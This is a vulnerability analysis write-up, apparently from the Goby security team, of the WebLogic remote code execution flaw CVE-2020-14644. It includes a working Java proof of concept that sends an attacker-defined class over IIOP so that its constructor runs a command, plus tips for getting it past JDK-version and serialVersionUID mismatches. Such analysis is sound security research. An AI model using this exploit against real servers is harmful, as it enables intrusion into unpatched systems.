Skip to content

Latest commit

 

History

History
140 lines (96 loc) · 6.51 KB

Analysis_of_CVE-2020-14644_en_US.md

File metadata and controls

140 lines (96 loc) · 6.51 KB

Analysis of Weblogic Remote Command Execution Vulnerability (CVE-2020-14644)

Author: WhiteCap Alliance Security Research Institute @Sp4rr0vv

Verified by: WhiteCap Alliance Security Research Institute @r4v3zn

0x00 Overview

On July 15, 2020, Oracle released a large number of security patches, among which the CVE-2020-14644 vulnerability was rated 9.8 in severity, affecting versions 12.2.1.3.0, 12.2.1.4.0, and 14.1.1.0.0. This article is based on publicly available proof-of-concept (POC) code from the internet for reproduction and analysis. Eventually, we achieved unrestricted defineClass + instantiation, which resulted in remote code execution (RCE).

0x01 Prerequisite Knowledge

The ClassLoader class in the JDK has a method called defineClass, which can load a class into the JVM and return the corresponding Class object based on the fully qualified name of the class and the byte array of the class (it is worth mentioning that this way of loading classes does not execute class initialization).

image-20200805135249325

So as long as the parameters name (class name) and b (binary data of the class file) are controllable, theoretically we can load any class. One thing to note is that the class name name must be consistent with the class name in the byte array b, otherwise a NoClassDefFoundError will occur.

image-20200805143407083

image-20200805143146631

0x02 Reproduction

Environment:

  • Weblogic 12.2.1.4.0
  • JDK 1.8.0_112
  • Windows 10

First, prepare a malicious class with a package name, and write malicious code in the constructor.

package com;

import java.io.IOException;

public class EvilObj {

    public EvilObj() {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException var1) {
            var1.printStackTrace();
        }
    }
}

POC

ClassIdentity classIdentity = new ClassIdentity( EvilObj.class);
ClassPool cp = ClassPool.getDefault();
CtClass ctClass = cp.get(EvilObj.class.getName());
ctClass.replaceClassName(EvilObj.class.getName(),  EvilObj.class.getName() + "$" + classIdentity.getVersion());
RemoteConstructor constructor = new RemoteConstructor(
        new ClassDefinition(classIdentity, ctClass.toBytecode()),
        new ob ject[] {}
);
// 发送 IIOP 协议数据包
Context context = getContext("iiop://ip:port");
context.rebind("hello",constructor);

Reproduction result:

image-20200806093842214

The following is a simplified version of the call stack:

exec:347, Runtime (java.lang)
<init>:14, SimpleMapEntry$7E80A4E3098E7FB7B109472C77D1D573 (com.tangosol.util)
newInvokeSpecial__L:-1, 1565249093 (java.lang.invoke.LambdaForm$DMH)
reinvoke:-1, 1641862114 (java.lang.invoke.LambdaForm$BMH)
invoker:-1, 222055923 (java.lang.invoke.LambdaForm$MH)
invokeExact_MT:-1, 1593074896 (java.lang.invoke.LambdaForm$MH)
invokeWithArguments:627, MethodHandle (java.lang.invoke)
createInstance:149, ClassDefinition (com.tangosol.internal.util.invoke)
realize:142, RemotableSupport (com.tangosol.internal.util.invoke)
newInstance:122, RemoteConstructor (com.tangosol.internal.util.invoke)
readResolve:233, RemoteConstructor (com.tangosol.internal.util.invoke)

0x03 Actual Exploitation

In summary, the overall idea is to construct a class with a package name, and write malicious code in the constructor. Then, use javassist to dynamically modify the class name, appending $ and version values to the original class name. In practical exploitation, the following issues may arise.

3.1 Why use a package name?

Because there is the following chain call in the constructor of ClassIdentity, and without a package name, getPackage() will return null, and further calls will result in a NullPointerException.

image-20200806094554771

3.2 Version Issues

During the utilization process, issues may arise due to the version incompatibility of the JDK.

  1. The issue can be resolved by specifying the compilation version using the -source 1.6 -target 1.6 parameters while obtaining the malicious class.
  2. Alternatively, the current running JDK version can be adjusted to the lowest version for utilization.

3.3 Serialization ID Issues

Due to the version changes in Weblogic, the serialVersionUID in the coherence.jar file may not match. Through analysis and testing, it has been determined that the serialVersionUID is different for 12.2.1.3.0 and 12.2.1.4.0, 14.1.1.0.0. Below are the detailed test results:

coherence.jar WebLogic version Success
12.2.1.3.0 12.2.1.3.0 Yes
12.2.1.3.0 12.2.1.4.0 No
12.2.1.3.0 14.1.1.0.0 No
12.2.1.4.0 12.2.1.3.0 No
12.2.1.4.0 12.2.1.4.0 Yes
12.2.1.4.0 14.1.1.0.0 Yes
14.1.1.0.0 12.2.1.3.0 No
14.1.1.0.0 12.2.1.4.0 Yes
14.1.1.0.0 14.1.1.0.0 Yes

This issue can be resolved through the dynamic loading process using URLClassLoader. Below is some core code (excerpted from weblogic-framework):

image-20200806133258369

image-20200806133919212

0x04 References



[Goby Official URL](https://gobies.org/)

If you have a functional type of issue, you can raise an issue on GitHub or in the discussion group below:

  1. GitHub issue: https://github.com/gobysec/Goby/issues
  2. Telegram Group: http://t.me/gobies (Community advantage: Stay updated with the latest information about Goby features, events, and other announcements in real-time.)
  3. Telegram Channel: https://t.me/joinchat/ENkApMqOonRhZjFl
  4. Twitter:https://twitter.com/GobySec